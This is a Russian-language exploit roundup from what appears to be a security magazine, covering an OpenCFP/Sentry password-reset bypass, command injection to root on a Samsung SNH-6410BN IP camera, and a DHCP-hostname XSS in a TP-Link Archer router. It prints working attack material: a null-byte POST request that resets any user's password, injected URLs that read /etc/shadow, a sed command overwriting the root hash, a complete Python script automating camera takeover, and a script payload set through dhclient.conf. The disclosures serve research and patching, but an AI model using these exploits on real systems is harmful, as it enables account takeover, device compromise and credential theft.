В сегодняшнем обзоре мы рассмотрим уязвимость в популярной библиотеке для аутентификации пользователей, которая применяется на конференциях для приема докладов. Не обойдем стороной и новое исследование IoT-устройства, проведенное командой Pen Test Partners, а потом разберем XSS-уязвимость в роутере TP-Link Archer.

 

Обход аутентификации в OpenCFP (или Sentry framework)

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 5 сентября 2016 года
Автор: haxx.ml
CVE: нет

OpenCFP — это популярная система для принятия докладов на конференциях. Она написана на PHP, и исходники открыты. Но найденная уязвимость находится не в ней, а в одном из сторонних компонентов — фреймворке Sentry фирмы Cartalyst. Он используется во многих других приложениях, так что есть вероятность того, что они до сих пор уязвимы.

Статистика по установкам фреймворка Sentry
Статистика по установкам фреймворка Sentry

Как и в большинстве веб-приложений, в OpenCFP есть функция восстановления пароля. Она позволяет пользователям получить специальную ссылку по email и затем установить новый пароль. Такая ссылка ведет на страницу с формой для ввода пароля.

Форма установки нового пароля
Форма установки нового пароля

После нажатия на кнопку Change my Password отправляется следующий POST-запрос на сервер.

    POST /updatepassword HTTP/1.1
    Host: domain
    Referer: http://domain/reset/2/vab9HtPIfIw2f6WLrzzidEbApaepDSGm9PkUKyKvZr
    [...]

    reset[_token]=x&reset[password][password]=passw0rd&reset[password][password2]=passw0rd&reset[user_id]=2&reset[reset_code]=vab9HtPIfIw2f6WLrzzidEbApaepDSGm9PkUKyKvZr

После того как приложение получит этот запрос, оно проверит, соответствует ли параметр reset[reset_code] значению reset_password_code в записи базы данных о пользователе с [user_id]. OpenCFP использует Sentry для этой проверки во множестве случаев аутентификации.

 

EXPLOIT

К ошибке приводят две вещи. Первая связана с тем, как Sentry выполняет проверку, вторая — с тем, что у пользователей, которые не восстанавливали пароль, по умолчанию в поле reset_password_code установлено NULL. Это хорошо видно на схеме таблицы users в базе данных Sentry.

Схема таблицы users из Sentry
Схема таблицы users из Sentry

Отсутствуют и дополнительные проверки перед передачей данных из OpenCFP в Sentry, то есть проводятся только обычные проверки на вводимые данные. К тому же в примере использования этой функции в документации Sentry нет никакого упоминания о типах вводимых данных.

Ниже представлена функция в Sentry, отвечающая за сверку кода из запроса с кодом, который находится в базе. Эта функция проста и возвращает true в случае совпадения или false, если совпадения не найдено.

Функция checkResetPasswordCode()
Функция checkResetPasswordCode()

Эта функция вызывается из attemptResetPassword(). Заметь, что во время смены пароля значение reset_password_code снова устанавливается NULL.

Функция attemptResetPassword()
Функция attemptResetPassword()

Сама ошибка довольно тривиальна. Она возникает из-за того, что значение NULL может пройти проверку функцией checkResetPasswordCode() и вернет true для любого пользователя, для которого в базе данных нет токена сброса. Вызвать ошибку можно, отправив запрос с URL-символом NULL (%00) в качестве значения параметра reset[reset_code].

    POST /updatepassword HTTP/1.1
    Host: domain
    Referer: http://domain/reset/2/vab9HtPIfIw2f6WLrzzidEbApaepDSGm9PkUKyKvZr
    [...]

    reset[_token]=x&reset[password][password]=passw0rd&reset[password][password2]=passw0rd&reset[user_id]=2&reset[reset_code]=%00

В результате мы успешно изменим пароль пользователя с определенным user_id на нужный нам.

Успешная смена пароля
Успешная смена пароля

Преградой станет только наличие неиспользованного токена сброса пароля в базе данных. К тому же атакующему нужно, помимо email, знать цифровой ID пользователя, чтобы иметь возможность зайти в систему. Но подобрать его вряд ли будет сложно, учитывая, что первые несколько ID наверняка зачастую принадлежат организаторам конференции.

Оригинал отчета ты можешь найти в блоге автора эксплоита.

 

TARGETS

OpenCFP и другое ПО, использующее Sentry.

 

SOLUTION

Патч для фреймворка принят в основную ветку 5 сентября 2016 года.

 

Многочисленные уязвимости в IP-камере Samsung SNH-6410BN

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 11 августа 2016 года
Автор: Pen Test Partners
CVE: N/A

Жертвой этого эксплоита стал очередной «умный» предмет — IP-камера Samsung SNH-6410BN. Сам девайс неплох, но с безопасностью у него проблемы, что, кстати, характерно для всего класса устройств.

Обычно пользователь соединяется с камерой с помощью мобильного приложения или с сайта. При этом на самой камере работают SSH и веб-сервер. С этого обычно и начинаются все исследования подобных устройств.

 

EXPLOIT

Сразу отметим, что веб-сервер работает только по HTTP, а не по HTTPS. В этом и заключается первая проблема. Канал между устройством и пользователем не шифруется, соответственно, данные могут быть просто перехвачены или даже подделаны.

Вторая проблема заключается в том, что используется только один веб-аккаунт. Если он будет скомпрометирован, то даст полный доступ к системе. Получается, что вся безопасность завязана на один пароль.

Этот пароль устанавливается при первом подключении. Однако о самом существовании веб-интерфейса в документации к камере ничего не сообщается, так что с большой вероятностью владелец устройства не будет к нему подключаться и создавать учетку. Это и есть следующая, третья проблема.

В середине 2014 года исследователь Zenofex из Exploitee.rs group обнаружил возможность сброса пароля на другой камере Samsung. Несмотря на то что исследователи уведомили об этом производителя, новая камера подвержена той же уязвимости. Проблемный код находится в файле /classes/admin_set_privatekey.php. Он записывает новый ключ, не проверяя, был ли тот установлен раньше. Это позволяет атакующему изменить ключ на любой другой.

Вот кусок кода, который отвечает за первоначальную установку пароля. Проверка выделена красным.

Получается, что пароль можно сбросить простым запросом к камере.

Пример запроса
Пример запроса

Это позволяет нам получить доступ к веб-интерфейсу — первый шаг на пути к root-шеллу.

Вторая уязвимость, которую нашел Zenofex, — инъекция команд через поле для ввода WEP-ключа в форме. Странно, но в отличие от уязвимости, позволяющей сбросить пароль, эта уже не сработала. Значит, придется идти по старому пути — исследовать прошивку. Ее можно без проблем получить, скачав с сайта Samsung Support файл .tgz.

Содержимое tgz
Содержимое tgz

Как видишь, файл ничем не защищен и не зашифрован, что облегчает реверс (если помнишь, в одном из предыдущих обзоров был эксплоит, автору которого пришлось соединяться с устройством по UART, чтобы подсмотреть алгоритм шифрования).

Начнем исследование с файла ramdisk. Из расширения ясно, что это архив gzip.

Содержимое ramdisk из прошивки
Содержимое ramdisk из прошивки

Это файловая система ext2, а значит, ее с легкостью можно примонтировать в любом дистрибутиве Linux.

Монтирование ramdisk
Монтирование ramdisk

Содержимое похоже на корневую директорию. Посмотрим, доступен ли пользователь root.

Содержимое файла `/etc/shadow`
Содержимое файла `/etc/shadow`

Для создания хеша пароля рута использован DES. Это значит, что его максимальная длина составляет восемь символов и сбрутить его будет несложно.

После того как у нас появился доступ к файловой системе, мы можем найти и другие обработчики вводимых пользователем данных на веб-страницах. Плохая проверка таких данных — это до сих пор самый популярный тип уязвимостей во встраиваемых системах.

Скрипт на PHP, который принимает данные от сайта, передает их сразу нескольким cgi-бинарникам. Внимание автора привлек один из них с именем debugcgi. Поиск текстовых строк показал, что в нем есть чистые системные команды, которые используются в сочетании с синтаксисом форматирования строки.

Строки из файла debugcgi
Строки из файла debugcgi

К сожалению, автору эксплоита не удалось найти PHP-скрипты, которые вызывают этот исполняемый файл. Поэтому следующим шагом был анализ с помощью IDA Pro.

По найденным строкам уже понятно, что debugcgi вызывает какие-то системные команды. Поэтому начнем с вызовов system и exec и посмотрим, к чему они приведут. В итоге нашлась интересная функция, которая содержит строки с командами ls, netstat и ifconfig.

Граф вызовов файла `debugcgi`
Граф вызовов файла `debugcgi`

Комбинируя эксперименты с debugcgi на устройстве, используя IDA и наблюдая за тем, как вызываются другие файлы CGI, автор смог понять, как организовать запуск команд. Параметр msubmenu может принимать следующие опции: data, setting и shell. Само собой, нам интересен shell!

    http://<ip of camera>/cgi-bin/adv/debugcgi?msubmenu=shell&command=ls&command_arg=/

Используя эту опцию, мы можем вызывать серию команд из «белого списка», который включает в себя ls, netstat и другие. Вроде бы ничего опасного, но лазейка все же нашлась.

Запуск опции shell через debugcgi
Запуск опции shell через debugcgi

Дело в том, что вслед за ls может идти аргумент — директория, содержимое которой мы хотим посмотреть. Это значение подставляется внутрь строки, использующей форматирование и snprintf:

    ls -al %s

Шелл позволяет запускать сразу несколько команд в одну строку. Воспользуемся этим:

    ls -al/;whoami;uname

Эта строка запустит команду ls для корневой директории, затем команды whoami и uname. И если мы передадим их в аргументе command_arg, то получим желаемый результат.

Выполнение дополнительных команд через аргументы к ls
Выполнение дополнительных команд через аргументы к ls

Теперь у нас есть возможность выполнять команды с правами root! Хотя пока что не любые. Попытавшись отправить команду, содержащую пробелы, мы получим ошибку. Даже если заменить их на %20, команда не будет выполнена.

Но у bash есть другая интересная особенность — раскрытие скобок (brace expansion). Оно позволяет обойти ограничение: строка {cat,/etc/shadow} превращается в cat /etc/shadow.

Теперь мы можем составить следующий запрос:

    http://<ip of camera>/cgi-bin/adv/debugcgi?msubmenu=shell&command=ls&command_arg=/;{cat,/etc/shadow}

Выполнение команды `cat /etc/shadow` с помощью раскрытия скобок
Выполнение команды `cat /etc/shadow` с помощью раскрытия скобок

Помимо всего этого, на устройстве по умолчанию уже запущен SSH на 1022-м порту. Это открывает интересные пути дальнейшей эксплуатации.

Изменение пароля пользователя на устройстве — один из таких путей. Обычно для этого применяется команда passwd. Причем в большинстве десктопных дистрибутивов для нее не требуется дополнительный ввод от пользователя. Но на камере работает BusyBox, а в нем есть некоторые отличия. В данном случае ввод от пользователя требуется, так что для инъекции команд традиционный способ не подходит.

Зато мы можем просто отредактировать файл /etc/shadow и заменить хеш пароля. Правда, из-за ограничений это тоже потребует некоторых усилий. Благо на устройстве есть sed. Используя его, мы можем найти старый хеш (Y9IdQjgdLn0p6) и заменить на новый (к примеру, Um8sjRjZKSEI2 — это пароль 12345678).

sed -i -e s/Y9IdQjgdLn0p6/Um8sjRjZKSEI2/g /etc/shadow

Теперь мы можем подсоединиться к устройству по SSH с новым паролем и управлять камерой из командной строки.

Вот полный код эксплоита на Python для автоматизации атаки.

    import urllib, urllib2, crypt, time

    # Новый пароль для веб-интерфейса
    web_password = 'admin'
    # Новый пароль для пользователя root
    root_password = 'root'
    # IP-адрес камеры
    ip = '192.168.12.61'

    # Данные для самой камеры
    realm = 'iPolis'
    web_username = 'admin'
    base_url = 'http://' + ip + '/cgi-bin/adv/debugcgi?msubmenu=shell&command=ls&command_arg=/...;'

    # Берем команды и используем уязвимости типа инъекции команд для запуска на устройстве
    def run_command(command):
        # Конвертируем оформление команды, используя фигурные скобки
        command_brace = '{' + ','.join(command.split(' ')) + '}'
        command_url = base_url + command_brace

        # Данные для HTTP-авторизации через urllib2
        authhandler = urllib2.HTTPDigestAuthHandler()
        authhandler.add_password(realm, command_url, web_username, web_password)
        opener = urllib2.build_opener(authhandler)
        urllib2.install_opener(opener)

        return urllib2.urlopen(command_url)

    # Шаг 1 — изменяем пароль для веб-интерфейса, используя уязвимость, найденную Zenofex
    data = urllib.urlencode({ 'data' : 'NEW;' + web_password })
    urllib2.urlopen('http://' + ip + '/classes/class_admin_privatekey.php', data)

    # Нужна задержка, или пароль не изменится
    time.sleep(1)

    # Шаг 2 — находим текущий хеш пароля пользователя root
    shadow = run_command('cat /etc/shadow')

    for line in shadow:
        if line.startswith('root:'):
            current_hash = line.split(':')[1]

    # Шифруем новый пароль
    new_hash = crypt.crypt(root_password, '00')

    # Шаг 3 — используем sed для поиска и замены старого хеша пароля новым
    run_command('sed -i -e s/' + current_hash + '/' + new_hash + '/g /etc/shadow')

    # Шаг 4 — удостоверяемся, что пароль изменился
    shadow = run_command('cat /etc/shadow')

    for line in shadow:
        if line.startswith('root:'):
            current_hash = line.split(':')[1]

    if current_hash <> new_hash:
        print 'Error! - password not changed'

    # Шаг 5 — коннектимся через SSH к порту 1022 устройства с новым паролем

Оригинальный эксплоит опубликован в репозитории команды на GitHub, а оригинальная статья — в блоге участников.

 

TARGETS

SNH-6410BN до августа 2016 года.

 

SOLUTION

Производитель выпустил исправление (автор пишет, что разработчики просто убрали веб-интерфейс из новой версии прошивки).

 

XSS в TP-Link Archer CR-700

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 27 сентября 2016 года
Автор: ayushman4
CVE: нет

XSS-уязвимость в роутере TP-Link Archer CR-700 нашлась в довольно необычном месте, но лишний раз напоминает, что все приходящие от пользователя данные надо проверять. Ошибка располагается в обработчике имени компьютера пользователя (hostname), которое он отдает сетевому устройству. К примеру, это происходит в момент получения IP-адреса при запросе DHCP.

 

EXPLOIT

Для воспроизведения бага можешь взять Kali или Ubuntu, но, в принципе, подойдет и любой другой дистрибутив.

Первый шаг — в текстовом редакторе открываем файл /etc/dhcp/dhclient.conf:

    gedit /etc/dhcp/dhclient.conf

Комментируем строку

    #send host-name = gethostname();

И вставляем свою:

    send host-name = "&lt;script&gt;alert(5)&lt;/script&gt;";

Вторым шагом перезагружаем ОС, чтобы настройки точно применились.

Шаг третий — отправляем запрос DHCP на роутер для получения IP-адреса (такую операцию можно попробовать на любой открытой сети с роутерами этой марки).

    dhclient -v -i wlan0

Как ты уже понял, этот запрос устанавливает на роутере имя системы, которое мы указали выше.

Шаг четвертый — администратор авторизуется в системе, и в процессе срабатывает наш скрипт. Автор эксплоита в дополнение заметил, что здесь не используется токен CSRF, а cookie, которые устанавливает роутер, содержат кодированные с помощью Base64 имя пользователя и пароль. Их можно с легкостью получить при помощи такой XSS. Оригинальный отчет автор опубликовал на GitHub.

 

TARGETS

TP-Link Archer CR-700.

 

SOLUTION

Производитель выпустил исправление.

1 комментарий

  1. Al1en

    18.10.2016 at 15:02

    Нормалдос статья!

Оставить мнение

Check Also

Уязвимость на странице авторизации Joomla позволяла узнать учетные данные администратора

Релиз Joomla 3.8 принес более 300 исправлений и улучшений, а также устранил две уязвимости…